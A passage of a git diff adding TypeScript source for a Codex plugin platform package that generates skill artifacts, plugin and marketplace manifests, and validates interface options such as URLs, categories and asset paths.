}, + ...(policy === undefined ? {} : { policy }), + }; +} + +/** + * 把可选 Skill 元数据添加到当前 Artifact 列表。 + * + * @param artifacts 当前 Platform 生成中的 Artifact 集合。 + * @param component 元数据来源 Component。 + * @param generatedId 最终 Skill ID。 + * @param allowImplicitInvocation 是否允许隐式调用。 + */ +function appendSkillMetadata( + artifacts: ArtifactInput[], + component: Component, + generatedId: string, + allowImplicitInvocation: boolean, +): void { + /** 按官方必填 interface 规则创建的可选元数据。 */ + const metadata = skillMetadata(component, generatedId, allowImplicitInvocation); + if (metadata !== undefined) { + artifacts.push(bytesArtifact( + `skills/${generatedId}/agents/openai.yaml`, + `${stableYaml(metadata)}\n`, + )); + } +} + +/** + * 把规范 Commands、Skills 与 Agents 转换为 Codex Skills。 + * + * @param context Platform generateBundle 生命周期上下文。 + * @returns 确定排序且尚未进入 DeliveryUnit Registry 的 Artifact 输入。 + */ +export function generateComponentArtifacts(context: PlatformGenerateContext): ArtifactInput[] { + /** 当前 Platform 累计生成的 Component Artifact。 */ + const artifacts: ArtifactInput[] = []; + + for (const skill of context.project.skills) { + artifacts.push(bytesArtifact(`skills/${skill.id}/SKILL.md`, markdownWithFrontmatter({ + name: skill.id, + description: skill.description, + }, skill.body))); + appendSkillMetadata(artifacts, skill, skill.id, skill.invocation.model); + for (const auxiliary of skill.auxiliaryFiles) { + artifacts.push({ + path: `skills/${skill.id}/${auxiliary.path}`, + source: { type: 'file', path: auxiliary.sourcePath }, + mode: auxiliary.mode, + }); + } + context.reportCompatibility({ + subject: `skill:${skill.id}`, + capability: 'component', + level: 'native', + reason: 'Codex supports plugin Skills natively.', + }); + if (!skill.invocation.user) { + context.reportCompatibility({ + subject: `skill:${skill.id}`, + capability: 'invocation.user', + level: 'degraded', + transformation: 'The Skill remains explicitly invocable.', + reason: 'Codex Skill metadata cannot disable explicit user invocation.', + }); + } + } + + for (const command of context.project.commands) { + /** Command 使用固定前缀进入统一 Codex Skill 命名空间。 */ + const id = `command-${command.id}`; + artifacts.push(bytesArtifact(`skills/${id}/SKILL.md`, markdownWithFrontmatter({ + name: id, + description: command.description, + }, command.body.replaceAll('{{arguments}}', 'the arguments supplied with this explicit invocation')))); + appendSkillMetadata(artifacts, command, id, false); + context.reportCompatibility({ + subject: `command:${command.id}`, + capability: 'component', + level: 'transform', + transformation: `Explicit Skill ${id}`, + reason: 'Codex represents Commands as explicitly invoked Skills.', + }); + if (command.argumentHint !== undefined) { + context.reportCompatibility({ + subject: `command:${command.id}`, + capability: 'argumentHint', + level: 'degraded', + transformation: `Explicit Skill ${id} without argument hint UI`, + reason: 'Codex Skills do not expose the Command argument hint field.', + }); + } + } + + for (const agent of context.project.agents) { + /** Agent 使用固定前缀进入统一 Codex Skill 命名空间。 */ + const id = `agent-${agent.id}`; + /** 降级正文明确区分作者意图与平台无法强制的运行约束。 */ + const guidance = [ + agent.body, + '', + `Intended model class: ${agent.model}.`, + `Intended capabilities: ${agent.capabilities.join(', ') || 'none declared'}.`, + 'When delegation is available, use a focused subagent with this role. These settings are guidance, not enforced registration.', + ].join('\n'); + artifacts.push(bytesArtifact(`skills/${id}/SKILL.md`, markdownWithFrontmatter({ + name: id, + description: agent.description, + }, guidance))); + appendSkillMetadata(artifacts, agent, id, true); + context.reportCompatibility({ + subject: `agent:${agent.id}`, + capability: 'component', + level: 'degraded', + transformation: `Guidance-only Skill ${id}`, + reason: 'Codex installable plugins cannot register project or user custom Agents.', + }); + context.reportCompatibility({ + subject: `agent:${agent.id}`, + capability: 'agent.model', + level: 'degraded', + transformation: 'The intended model class is preserved as guidance text.', + reason: 'A fallback Skill cannot enforce an Agent model selection.', + }); + if (agent.capabilities.length > 0) { + context.reportCompatibility({ + subject: `agent:${agent.id}`, + capability: 'agent.capabilities', + level: 'degraded', + transformation: 'The intended capabilities are preserved as guidance text.', + reason: 'A fallback Skill cannot enforce an Agent tool capability boundary.', + }); + } + } + return artifacts; +} + +/** + * 判断工程是否至少生成一个 Codex Skill。 + * + * @param project 已完成扫描和依赖图校验的规范工程。 + * @returns 原生或 fallback Skill 目录非空时返回 true。 + */ +export function hasGeneratedSkills(project: PluginProject): boolean { + return project.skills.length + project.commands.length + project.agents.length > 0; +} diff --git a/packages/platforms/codex/src/index.ts b/packages/platforms/codex/src/index.ts new file mode 100644 index 0000000..7d98a22 --- /dev/null +++ b/packages/platforms/codex/src/index.ts @@ -0,0 +1,96 @@ +import { + definePlatform, + type AcpluginPlatform, + type JsonObject, +} from '@acplugin/core'; +import { + generateComponentArtifacts, + validateCodexComponentFields, + validateGeneratedSkillIds, +} from './components.js'; +import { + createManifestDocument, + marketplaceArtifacts, + MARKETPLACE_MANIFEST_PATH, + serializeDocuments, + validatePlatformOptions, +} from './manifest.js'; +import type { CodexMarketplaceOptions, CodexPlatformOptions } from './types.js'; +import { validateCodexBundle } from './validator.js'; + +export type { + CodexCategory, + CodexInterfaceOptions, + CodexMarketplaceInstallation, + CodexMarketplaceOptions, + CodexMarketplacePolicyOptions, + CodexPlatformOptions, +} from './types.js'; + +/** Codex Platform 的稳定开放 ID。 */ +export const PLATFORM_ID = 'codex' as const; + +/** Codex Platform 实现的 Core API 版本。 */ +export const PLATFORM_API_VERSION = '1' as const; + +/** + * 创建独立且可由 Core 品牌校验的 Codex Platform。 + * + * @param options 严格度覆盖、安装界面与 Marketplace 选项。 + * @returns Codex Plugin 交付实现。 + */ +export function codex(options: CodexPlatformOptions = {}): AcpluginPlatform { + validatePlatformOptions(options); + /** strict 属于 Core 策略,其余字段作为 Platform 生命周期专属配置保存。 */ + const { strict, ...platformOptions } = options; + return definePlatform({ + id: PLATFORM_ID, + apiVersion: PLATFORM_API_VERSION, + deliveryType: 'plugin', + ...(strict === undefined ? {} : { strict }), + options: platformOptions as unknown as JsonObject, + validateComponentFields: validateCodexComponentFields, + /** prepare 固定 Manifest、最终 Skill 命名空间和 Extension 空位。 */ + prepare: (context) => { + validateGeneratedSkillIds(context); + return { documents: [createManifestDocument(context)], artifacts: [] }; + }, + /** generateBundle 在 Adapter 合并完成后生成 Skills 并序列化 Manifest。 */ + generateBundle: (context) => { + /** 原生 Skill 与 Command/Agent fallback 产生的 Component Artifact。 */ + const componentArtifacts = generateComponentArtifacts(context); + return { + id: 'plugin', + role: 'primary', + type: 'plugin', + artifacts: [ + ...context.artifacts, + ...componentArtifacts, + ...serializeDocuments(context.documents), + ], + }; + }, + validateBundle: validateCodexBundle, + /** Marketplace Distribution 始终复用已经验证的完整主 Plugin。 */ + generateDistributions: async (context, primaryUnits) => { + /** 工厂未声明 marketplace 时不生成空壳 Distribution。 */ + const marketplace = context.options.marketplace as CodexMarketplaceOptions | undefined; + if (marketplace === undefined) + return []; + if (primaryUnits.length === 0) + throw new Error('Codex Marketplace requires at least one validated primary Plugin.'); + /** 任一主 Plugin 都不能预先占用 Distribution 根清单的保留语义。 */ + if (primaryUnits.some(primary => primary.artifacts.some(artifact => artifact.path === MARKETPLACE_MANIFEST_PATH))) { + context.reportDiagnostic({ + code: 'CODEX_MARKETPLACE_PATH_CONFLICT', + severity: 'error', + message: 'The primary Plugin already contains the reserved Marketplace manifest path.', + }); + return []; + } + /** 单项保持根布局,多项由 Platform 确定性放入各自 Plugin 子目录。 */ + const artifacts = await marketplaceArtifacts(context, marketplace, primaryUnits); + return [{ id: 'marketplace', role: 'distribution', type: 'marketplace', artifacts }]; + }, + }); +} diff --git a/packages/platforms/codex/src/manifest.ts b/packages/platforms/codex/src/manifest.ts new file mode 100644 index 0000000..98e6bc1 --- /dev/null +++ b/packages/platforms/codex/src/manifest.ts @@ -0,0 +1,415 @@ +import { promises as fs } from 'node:fs'; +import { + bytesArtifact, + stableJson, + type ArtifactInput, + type DeliveryUnit, + type DraftDocument, + type JsonObject, + type PlatformDistributionContext, + type PlatformPrepareContext, +} from '@acplugin/core'; +import { hasGeneratedSkills } from './components.js'; +import { + CODEX_CATEGORIES, + CODEX_INTERFACE_OPTION_FIELDS, + CODEX_MARKETPLACE_INSTALLATIONS, + codexInterfaceFieldIssue, +} from './protocol.js'; +import type { + CodexCategory, + CodexInterfaceOptions, + CodexMarketplaceManifest, + CodexMarketplaceOptions, + CodexMarketplacePlugin, + CodexMarketplaceSource, + CodexPlatformOptions, + CodexPluginInterface, + CodexPluginManifest, +} from './types.js'; + +/** Codex Plugin 清单的稳定逻辑 Document ID。 */ +export const PLUGIN_MANIFEST_ID = 'plugin-manifest'; + +/** Codex Plugin 清单相对于安装根的官方固定路径。 */ +export const PLUGIN_MANIFEST_PATH = '.codex-plugin/plugin.json'; + +/** Codex Repo Marketplace 清单相对于 Distribution 根的官方固定路径。 */ +export const MARKETPLACE_MANIFEST_PATH = '.agents/plugins/marketplace.json'; + +/** Codex Platform 写入 Artifact 时使用的固定 owner。 */ +const PLATFORM_OWNER = 'platform:codex' as const; + +/** Codex Marketplace 机器名称采用的保守 kebab-case 规则。 */ +const MARKETPLACE_NAME_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; + +/** Codex 官方插件目录当前接受的分类集合。 */ +const CATEGORIES = new Set(CODEX_CATEGORIES); + +/** Codex Marketplace 当前支持的安装策略集合。 */ +const INSTALLATION_POLICIES = new Set(CODEX_MARKETPLACE_INSTALLATIONS); + +/** + * 校验可选字符串字段。 + * + * @param value Platform 工厂收到的未知候选。 + * @param field 用于错误信息的配置路径。 + */ +function assertOptionalString(value: unknown, field: string): void { + if (value !== undefined && (typeof value !== 'string' || value.trim().length === 0)) + throw new TypeError(`Codex ${field} must be a non-empty string.`); +} + +/** + * 拒绝对象中未由公开类型声明的字段。 + * + * @param value 待检查的配置对象。 + * @param allowed 当前对象层级允许的字段。 + * @param field 配置对象的稳定路径。 + */ +function rejectUnknownFields(value: object, allowed: ReadonlySet, field: string): void { + for (const key of Object.keys(value)) { + if (!allowed.has(key)) + throw new TypeError(`Unknown Codex ${field} option "${key}".`); + } +} + +/** + * 校验 Codex Plugin `interface` 平台选项。 + * + * @param options 用户声明的展示选项。 + */ +function validateInterfaceOptions(options: CodexInterfaceOptions | undefined): void { + if (options === undefined) + return; + rejectUnknownFields(options, new Set(CODEX_INTERFACE_OPTION_FIELDS), 'interface'); + for (const field of CODEX_INTERFACE_OPTION_FIELDS) { + /** 当前可选 interface 配置值。 */ + const value = options[field]; + if (value === undefined) + continue; + /** 共享纯规则返回的第一个稳定问题。 */ + const issue = codexInterfaceFieldIssue(field, value); + if (issue !== undefined) + throw new TypeError(`Codex ${issue.message}`); + } +} + +/** + * 校验 Codex Marketplace 平台选项。 + * + * @param options 用户声明的 Marketplace 根级选项。 + */ +function validateMarketplaceOptions(options: CodexMarketplaceOptions | undefined): void { + if (options === undefined) + return; + rejectUnknownFields(options, new Set(['name', 'displayName', 'category', 'policy']), 'marketplace'); + assertOptionalString(options.name, 'marketplace.name'); + assertOptionalString(options.displayName, 'marketplace.displayName'); + if (options.name !== undefined && !MARKETPLACE_NAME_PATTERN.test(options.name)) + throw new TypeError('Codex marketplace.name must use lowercase kebab-case.'); + if (options.category !== undefined && !CATEGORIES.has(options.category)) + throw new TypeError('Codex marketplace.category is not an official Plugin category.'); + if (options.policy !== undefined) { + rejectUnknownFields(options.policy, new Set(['installation']), 'marketplace.policy'); + if (options.policy.installation !== undefined && !INSTALLATION_POLICIES.has(options.policy.installation)) + throw new TypeError('Codex marketplace.policy.installation is not supported.'); + } +} + +/** + * 校验 Codex Platform 工厂公开配置。 + * + * @param options 用户传入且可能来自宽类型变量的平台选项。 + */ +export function validatePlatformOptions(options: CodexPlatformOptions): void { + rejectUnknownFields(options, new Set(['strict', 'interface', 'marketplace']), 'Platform'); + if (options.strict !== undefined && typeof options.strict !== 'boolean') + throw new TypeError('Codex strict must be a boolean.'); + validateInterfaceOptions(options.interface); + validateMarketplaceOptions(options.marketplace); +} + +/** + * 根据统一元数据和 Platform 选项创建完整的 Codex 安装界面字段。 + * + * @param context Platform prepare 生命周期上下文。 + * @returns 未启用展示字段时返回 undefined,否则返回含官方必填项的 interface。 + */ +function createPluginInterface(context: PlatformPrepareContext): CodexPluginInterface | undefined { + /** 用户声明的 Codex 专属展示选项。 */ + const options = context.options.interface as CodexInterfaceOptions | undefined; + /** 顶层 displayName 必须映射到 Codex interface,即使没有额外平台选项。 */ + if (options === undefined && context.project.metadata.displayName === undefined) + return undefined; + /** 统一元数据同时作为缺省展示文案,避免要求作者重复配置。 */ + const metadata = context.project.metadata; + return { + displayName: metadata.displayName ?? metadata.name, + shortDescription: options?.shortDescription ?? metadata.description, + longDescription: options?.longDescription ?? metadata.description, + developerName: options?.developerName ?? metadata.author?.name ?? metadata.name, + ...(options?.category === undefined ? {} : { category: options.category }), + ...(options?.capabilities === undefined ? {} : { capabilities: options.capabilities }), + ...(options?.websiteURL ?? metadata.homepage) === undefined + ? {} + : { websiteURL: options?.websiteURL ?? metadata.homepage! }, + ...(options?.privacyPolicyURL === undefined ? {} : { privacyPolicyURL: options.privacyPolicyURL }), + ...(options?.termsOfServiceURL === undefined ? {} : { termsOfServiceURL: options.termsOfServiceURL }), + ...(options?.supportURL === undefined ? {} : { supportURL: options.supportURL }), + ...(options?.defaultPrompt === undefined ? {} : { defaultPrompt: options.defaultPrompt }), + ...(options?.brandColor === undefined ? {} : { brandColor: options.brandColor }), + ...(options?.brandColorDark === undefined ? {} : { brandColorDark: options.brandColorDark }), + ...(options?.composerIcon === undefined ? {} : { composerIcon: options.composerIcon }), + ...(options?.logo === undefined ? {} : { logo: options.logo }), + ...(options?.screenshots === undefined ? {} : { screenshots: options.screenshots }), + }; +} + +/** + * 创建由 Platform 所有、Extension 只能增量补充的 Codex Plugin 清单。 + * + * @param context Platform prepare 生命周期上下文。 + * @returns 只包含官方字段和固定 Component 根路径的清单。 + */ +function createPluginManifest(context: PlatformPrepareContext): CodexPluginManifest { + /** 所有 Platform 共享且已经由 Core 校验的统一元数据。 */ + const metadata = context.project.metadata; + /** 可选的 Codex 安装界面字段。 */ + const pluginInterface = createPluginInterface(context); + return { + name: metadata.name, + version: metadata.version, + description: metadata.description, + ...(metadata.author === undefined ? {} : { author: metadata.author }), + ...(metadata.homepage === undefined ? {} : { homepage: metadata.homepage }), + ...(metadata.repository === undefined ? {} : { repository: metadata.repository }), + ...(metadata.license === undefined ? {} : { license: metadata.license }), + ...(metadata.keywords === undefined ? {} : { keywords: metadata.keywords }), + skills: './skills/', + ...(pluginInterface === undefined ? {} : { interface: pluginInterface }), + }; +} + +/** + * 报告统一元数据在 Codex Plugin 清单中的最终去向。 + * + * @param context Platform prepare 阶段的元数据报告出口。 + */ +function reportMetadata(context: PlatformPrepareContext): void { + /** 直接写入 Manifest 根节点的统一元数据字段。 */ + const rootFields = ['name', 'version', 'description', 'author', 'homepage', 'repository', 'license', 'keywords'] as const; + for (const field of rootFields) { + if (field === 'name' || field === 'version' || field === 'description' + || context.project.metadata[field] !== undefined) { + context.reportMetadata({ + field, + disposition: 'emitted', + output: `${PLUGIN_MANIFEST_PATH}.${field}`, + reason: `Codex plugin.json supports ${field}.`, + }); + } + } + if (context.project.metadata.displayName !== undefined) { + context.reportMetadata({ + field: 'displayName', + disposition: 'emitted', + output: `${PLUGIN_MANIFEST_PATH}.interface.displayName`, + reason: 'Codex exposes the unified displayName through its install interface.', + }); + } +} + +/** + * 创建 Codex Platform 的初始 Plugin Manifest Document。 + * + * @param context Platform prepare 生命周期上下文。 + * @returns 只开放 Hooks 与 MCP 根字段的单一 Document。 + */ +export function createManifestDocument(context: PlatformPrepareContext): DraftDocument { + reportMetadata(context); + if (!hasGeneratedSkills(context.project)) { + context.reportDiagnostic({ + code: 'CODEX_SKILL_REQUIRED', + severity: 'error', + message: 'A Codex Plugin must contain at least one native or generated Skill.', + }); + } + return { + id: PLUGIN_MANIFEST_ID, + path: PLUGIN_MANIFEST_PATH, + format: 'json', + owner: PLATFORM_OWNER, + value: createPluginManifest(context) as unknown as JsonObject, + // Extension 只能填充 Platform 预留的官方根字段,不能覆盖身份、Skills 或 interface。 + extensionPoints: [['hooks'], ['mcpServers']], + }; +} + +/** + * 将完成 Extension patch 的 Codex Document 序列化为 Artifact。 + * + * @param documents 当前 Platform Draft 中由 Core 冻结的完整文档列表。 + * @returns 包含固定 Plugin 清单路径的序列化 Artifact。 + */ +export function serializeDocuments(documents: readonly DraftDocument[]): ArtifactInput[] { + /** 按逻辑 ID 查找而不是从物理路径猜测语义的 Plugin 清单。 */ + const manifest = documents.find(document => document.id === PLUGIN_MANIFEST_ID); + if (!manifest || manifest.path !== PLUGIN_MANIFEST_PATH || manifest.format !== 'json') + throw new Error('Codex Platform Draft is missing its canonical Plugin Manifest Document.'); + if (documents.length !== 1) + throw new Error('Codex Platform received an unknown Document.'); + return [bytesArtifact(PLUGIN_MANIFEST_PATH, stableJson(manifest.value))]; +} + +/** 一个已验证主单元在 Codex Marketplace 中的稳定布局。 */ +interface MarketplacePluginLayout { + readonly unit: DeliveryUnit; + readonly root: string; + readonly source: CodexMarketplaceSource; +} + +/** + * 从已验证主单元读取 Codex Plugin 清单。 + * + * @param unit Marketplace Builder 收到的同平台主单元。 + * @returns 已通过基础身份检查的 Plugin 清单。 + */ +async function readPrimaryPluginManifest(unit: DeliveryUnit): Promise { + /** Platform 主单元中的规范 Plugin Manifest Artifact。 */ + const artifact = unit.artifacts.find(candidate => candidate.path === PLUGIN_MANIFEST_PATH); + if (artifact === undefined) + throw new Error(`Codex primary DeliveryUnit "${unit.id}" is missing ${PLUGIN_MANIFEST_PATH}.`); + /** 内存 Artifact 直接复制字节,文件 Artifact 只读取 Core 已验证的普通文件来源。 */ + const bytes = artifact.source.type === 'bytes' + ? artifact.source.value + : await fs.readFile(artifact.source.path); + /** fatal UTF-8 解码阻止替换字符掩盖损坏的主单元清单。 */ + const source = new TextDecoder('utf-8', { fatal: true }).decode(bytes); + /** JSON.parse 结果在读取必填字段前保持 unknown。 */ + const value: unknown = JSON.parse(source); + if (value === null || typeof value !== 'object' || Array.isArray(value)) + throw new Error(`Codex primary DeliveryUnit "${unit.id}" has an invalid Plugin Manifest.`); + /** 经过对象形态检查后的清单候选。 */ + const manifest = value as Record; + if (typeof manifest.name !== 'string' + || typeof manifest.version !== 'string' + || typeof manifest.description !== 'string') { + throw new Error(`Codex primary DeliveryUnit "${unit.id}" has incomplete Plugin metadata.`); + } + return manifest as unknown as CodexPluginManifest; +} + +/** + * 为一个或多个主单元选择兼容当前单 Plugin 输出的 Codex 布局。 + * + * @param primaryUnits 已由 Core 验证的同 Platform 主单元。 + * @returns 单项保持根目录,多项进入 `plugins//` 的稳定布局。 + */ +function marketplaceLayouts(primaryUnits: readonly DeliveryUnit[]): readonly MarketplacePluginLayout[] { + if (primaryUnits.length === 0) + throw new Error('Codex Marketplace requires at least one validated primary Plugin.'); + /** 按单元 ID 排序,避免未来编排器的集合遍历顺序影响 Marketplace 字节。 */ + const units = [...primaryUnits].sort((left, right) => left.id.localeCompare(right.id, 'en')); + if (new Set(units.map(unit => unit.id)).size !== units.length) + throw new Error('Codex Marketplace received duplicate primary DeliveryUnit IDs.'); + if (units.length === 1) + return [{ unit: units[0]!, root: '', source: { source: 'local', path: './' } }]; + return units.map(unit => ({ + unit, + root: `plugins/${unit.id}`, + source: { source: 'local', path: `./plugins/${unit.id}` }, + })); +} + +/** + * 创建一个 Codex Marketplace Plugin 条目。 + * + * @param manifest 当前主单元自己的 Plugin 元数据。 + * @param source 当前 Plugin 在 Distribution 根内的本地来源。 + * @param context Platform Distribution 生命周期上下文。 + * @param options Marketplace 级展示与安装选项。 + * @returns 与被引用 Plugin Manifest 身份一致的条目。 + */ +function createMarketplacePlugin( + manifest: CodexPluginManifest, + source: CodexMarketplaceSource, + context: PlatformDistributionContext, + options: CodexMarketplaceOptions, +): CodexMarketplacePlugin { + /** Platform interface 可为全部 Marketplace 条目提供缺省分类。 */ + const pluginInterface = context.options.interface as CodexInterfaceOptions | undefined; + return { + name: manifest.name, + source, + policy: { + installation: options.policy?.installation ?? 'AVAILABLE', + authentication: 'ON_INSTALL', + }, + category: options.category ?? pluginInterface?.category ?? 'Other', + }; +} + +/** + * 创建自包含 Codex Marketplace 清单。 + * + * @param context Platform Distribution 生命周期上下文。 + * @param options 用户声明或空对象触发的 Marketplace 选项。 + * @param plugins 已按 Distribution 布局创建的 Plugin 条目。 + * @returns 可直接放入 Repo Marketplace 位置的清单。 + */ +export function createMarketplaceManifest( + context: PlatformDistributionContext, + options: CodexMarketplaceOptions, + plugins: readonly CodexMarketplacePlugin[], +): CodexMarketplaceManifest { + /** Marketplace 根展示信息仍归当前 Platform 工厂上下文所有。 */ + const metadata = context.project.metadata; + return { + name: options.name ?? `${metadata.name}-marketplace`, + interface: { + displayName: options.displayName ?? `${metadata.displayName ?? metadata.name} Marketplace`, + }, + plugins, + }; +} + +/** + * 组合已验证主单元并创建完整 Codex Marketplace Distribution Artifact。 + * + * @param context Platform Distribution 生命周期上下文。 + * @param options 用户声明的 Marketplace 选项。 + * @param primaryUnits 已验证的同 Platform 主单元数组。 + * @returns 自包含 Plugin 内容和固定 Marketplace 清单。 + */ +export async function marketplaceArtifacts( + context: PlatformDistributionContext, + options: CodexMarketplaceOptions, + primaryUnits: readonly DeliveryUnit[], +): Promise { + /** 当前输入数量对应的兼容布局。 */ + const layouts = marketplaceLayouts(primaryUnits); + /** Marketplace 中按布局顺序生成的安装条目。 */ + const plugins: CodexMarketplacePlugin[] = []; + /** Distribution 中复用主单元 source 与 mode 的完整 Artifact。 */ + const artifacts: ArtifactInput[] = []; + /** layout 表示当前主 Plugin 及其 Distribution 安装根。 */ + for (const layout of layouts) { + /** 当前主单元已经验证的 Plugin Manifest。 */ + const manifest = await readPrimaryPluginManifest(layout.unit); + plugins.push(createMarketplacePlugin(manifest, layout.source, context, options)); + /** artifact 表示当前 Plugin 要原样复制的文件。 */ + for (const artifact of layout.unit.artifacts) { + artifacts.push({ + path: layout.root === '' ? artifact.path : `${layout.root}/${artifact.path}`, + source: artifact.source, + mode: artifact.mode, + }); + } + } + artifacts.push(bytesArtifact( + MARKETPLACE_MANIFEST_PATH, + stableJson(createMarketplaceManifest(context, options, plugins)), + )); + return artifacts; +} diff --git a/packages/platforms/codex/src/protocol.ts b/packages/platforms/codex/src/protocol.ts new file mode 100644 index 0000000..c2722c3 --- /dev/null +++ b/packages/platforms/codex/src/protocol.ts @@ -0,0 +1,253 @@ +/** Codex 官方插件目录当前接受的分类清单。 */ +export const CODEX_CATEGORIES = [ + 'Productivity', + 'Creativity', + 'Developer Tools', + 'Business & Operations', + 'Data & Analytics', + 'Communication', + 'Education & Research', + 'Security', + 'Finance', + 'Healthcare', + 'Travel', + 'Entertainment', + 'Other', +] as const; + +/** Codex 官方插件目录分类的封闭联合类型。 */ +export type CodexCategory = typeof CODEX_CATEGORIES[number]; + +/** Codex Marketplace 当前接受的安装策略清单。 */ +export const CODEX_MARKETPLACE_INSTALLATIONS = [ + 'AVAILABLE', + 'INSTALLED_BY_DEFAULT', + 'NOT_AVAILABLE', +] as const; + +/** Codex Marketplace 安装策略的封闭联合类型。 */ +export type CodexMarketplaceInstallation = typeof CODEX_MARKETPLACE_INSTALLATIONS[number]; + +/** Codex Skill 元数据当前接受的产品范围。 */ +export const CODEX_SKILL_PRODUCTS = ['CHAT', 'CODEX'] as const; + +/** Plugin 与 Skill 品牌色共同使用的六位十六进制规则。 */ +export const CODEX_BRAND_COLOR_PATTERN: RegExp = /^#[\dA-Fa-f]{6}$/; + +/** Codex Plugin `interface` 当前允许的全部官方字段。 */ +export const CODEX_INTERFACE_FIELDS = [ + 'displayName', 'shortDescription', 'longDescription', 'developerName', 'category', 'capabilities', + 'websiteURL', 'privacyPolicyURL', 'termsOfServiceURL', 'supportURL', 'defaultPrompt', 'brandColor', + 'brandColorDark', 'composerIcon', 'logo', 'screenshots', +] as const; + +/** Codex interface 字段名称的封闭联合类型。 */ +export type CodexInterfaceField = typeof CODEX_INTERFACE_FIELDS[number]; + +/** Platform 工厂允许配置的 interface 字段联合类型。 */ +export type CodexInterfaceOptionField = Exclude; + +/** Platform 工厂可配置、但不重复顶层 displayName 的 interface 字段。 */ +export const CODEX_INTERFACE_OPTION_FIELDS: readonly CodexInterfaceOptionField[] + = CODEX_INTERFACE_FIELDS.filter((field): field is CodexInterfaceOptionField => field !== 'displayName'); + +/** Codex Plugin interface 一旦存在就必须提供的发布展示字段。 */ +export const CODEX_INTERFACE_REQUIRED_FIELDS = [ + 'displayName', 'shortDescription', 'longDescription', 'developerName', +] as const; + +/** 共享 interface 纯校验返回的稳定问题。 */ +export interface CodexInterfaceFieldIssue { + readonly code: string; + readonly message: string; +} + +/** + * 判断插件根资源引用是否为安全的 `./` 相对路径。 + * + * @param value 待验证的 Manifest 资源路径。 + * @returns 路径不会逃逸 Plugin 根时返回 true。 + */ +export function isSafeCodexPluginPath(value: string): boolean { + if (!value.startsWith('./') || value.includes('\\') || value.includes('\0')) + return false; + /** 去掉协议前缀后用于拒绝父目录和空路径的片段。 */ + const relative = value.slice(2); + return relative.length > 0 + && relative !== '..' + && !relative.startsWith('../') + && !relative.split('/').includes('..'); +} + +/** + * 判断字符串是否为不含凭据的 HTTPS URL。 + * + * @param value 待验证的发布或作者链接。 + * @returns URL 可由官方目录安全接受时返回 true。 + */ +export function isCodexHttpsUrl(value: string): boolean { + try { + /** 标准 URL 解析器同时拒绝伪造协议、缺失 host 和嵌入凭据。 */ + const url = new URL(value); + return url.protocol === 'https:' + && url.hostname.length > 0 + && url.username === '' + && url.password === ''; + } catch { + return false; + } +} + +/** + * 对一个已知 Codex interface 字段执行共享纯值校验。 + * + * @param field 当前官方字段名称。 + * @param value Factory 输入或最终 Manifest 中的候选值。 + * @returns 值不符合官方协议时返回稳定问题,否则返回 undefined。 + */ +export function codexInterfaceFieldIssue( + field: CodexInterfaceField, + value: unknown, +): CodexInterfaceFieldIssue | undefined { + if (field === 'capabilities') { + if (!Array.isArray(value) + || value.length > 20 + || value.some(capability => typeof capability !== 'string' + || capability.trim().length === 0 + || capability.length > 120)) { + return { + code: 'CODEX_INTERFACE_CAPABILITIES_INVALID', + message: 'interface.capabilities must contain at most 20 non-empty strings of 120 characters or fewer.', + }; + } + return undefined; + } + if (field === 'screenshots') { + if (!Array.isArray(value) + || value.length === 0 + || value.some(item => typeof item !== 'string' || !isSafeCodexPluginPath(item))) { + return { + code: 'CODEX_INTERFACE_SCREENSHOTS_INVALID', + message: 'interface.screenshots must contain safe Plugin-root paths.', + }; + } + return undefined; + } + if (field === 'defaultPrompt') { + /** 单值与数组写法统一后的 starter prompt。 */ + const prompts = typeof value === 'string' ? [value] : value; + if (!Array.isArray(prompts) + || prompts.length === 0 + || prompts.length > 3 + || prompts.some(prompt => typeof prompt !== 'string' + || prompt.trim().length === 0 + || prompt.length > 512 + || /[\r\n]/u.test(prompt))) { + return { + code: 'CODEX_INTERFACE_PROMPT_INVALID', + message: 'interface.defaultPrompt must contain one to three non-empty single-line prompts.', + }; + } + return undefined; + } + if (typeof value !== 'string' || value.trim().length === 0) { + return { + code: 'CODEX_INTERFACE_FIELD_INVALID', + message: `interface.${field} must be a non-empty string.`, + }; + } + if (field === 'displayName' && value.length > 80) + return { code: 'CODEX_INTERFACE_DISPLAY_NAME_INVALID', message: 'interface.displayName must contain at most 80 characters.' }; + if (field === 'shortDescription' && (value.length > 240 || /[\r\n]/u.test(value))) { + return { + code: 'CODEX_INTERFACE_SHORT_DESCRIPTION_INVALID', + message: 'interface.shortDescription must fit on one line and contain at most 240 characters.', + }; + } + if (field === 'longDescription' && value.length > 4_000) + return { code: 'CODEX_INTERFACE_LONG_DESCRIPTION_INVALID', message: 'interface.longDescription must contain at most 4000 characters.' }; + if (field === 'developerName' && value.length > 120) + return { code: 'CODEX_INTERFACE_DEVELOPER_NAME_INVALID', message: 'interface.developerName must contain at most 120 characters.' }; + if (field === 'category' && !(CODEX_CATEGORIES as readonly string[]).includes(value)) + return { code: 'CODEX_INTERFACE_CATEGORY_INVALID', message: 'interface.category must be an official Plugin category.' }; + if (['websiteURL', 'privacyPolicyURL', 'termsOfServiceURL', 'supportURL'].includes(field) + && (!isCodexHttpsUrl(value) || value.length > 2_048)) { + return { code: 'CODEX_INTERFACE_URL_INVALID', message: `interface.${field} must be an HTTPS URL without credentials.` }; + } + if ((field === 'brandColor' || field === 'brandColorDark') && !CODEX_BRAND_COLOR_PATTERN.test(value)) + return { code: 'CODEX_INTERFACE_COLOR_INVALID', message: `interface.${field} must be a six-digit hexadecimal color.` }; + if ((field === 'composerIcon' || field === 'logo') && !isSafeCodexPluginPath(value)) + return { code: 'CODEX_INTERFACE_ASSET_INVALID', message: `interface.${field} must be a safe Plugin-root path.` }; + return undefined; +} + +/** SVG 数值属性接受的无单位十进制与科学计数法。 */ +const SVG_NUMBER_PATTERN = /^[+-]?(?:\d+(?:\.\d*)?|\.\d+)(?:[eE][+-]?\d+)?$/; + +/** SVG 根元素解析后用于尺寸判断的结果。 */ +export interface CodexSvgDimensions { + readonly width: number; + readonly height: number; +} + +/** + * 严格解析 Codex 品牌 SVG 的 UTF-8 XML、根元素和无单位尺寸。 + * + * @param bytes 最终候选中的 SVG 原始字节。 + * @returns viewBox 或 width/height 表达的正数尺寸。 + * @throws XML、根元素或尺寸不符合公共目录协议时抛出错误。 + */ +export function parseCodexSvgDimensions(bytes: Uint8Array): CodexSvgDimensions { + /** fatal 解码确保无效 UTF-8 不会被替换字符静默修复。 */ + const source = new TextDecoder('utf-8', { fatal: true }).decode(bytes); + /** 第一层 SVG 根元素的属性快照。 */ + let rootAttributes: Readonly> | undefined; + /** 严格文档模式会拒绝未闭合标签和多个根元素。 */ + const parser = new 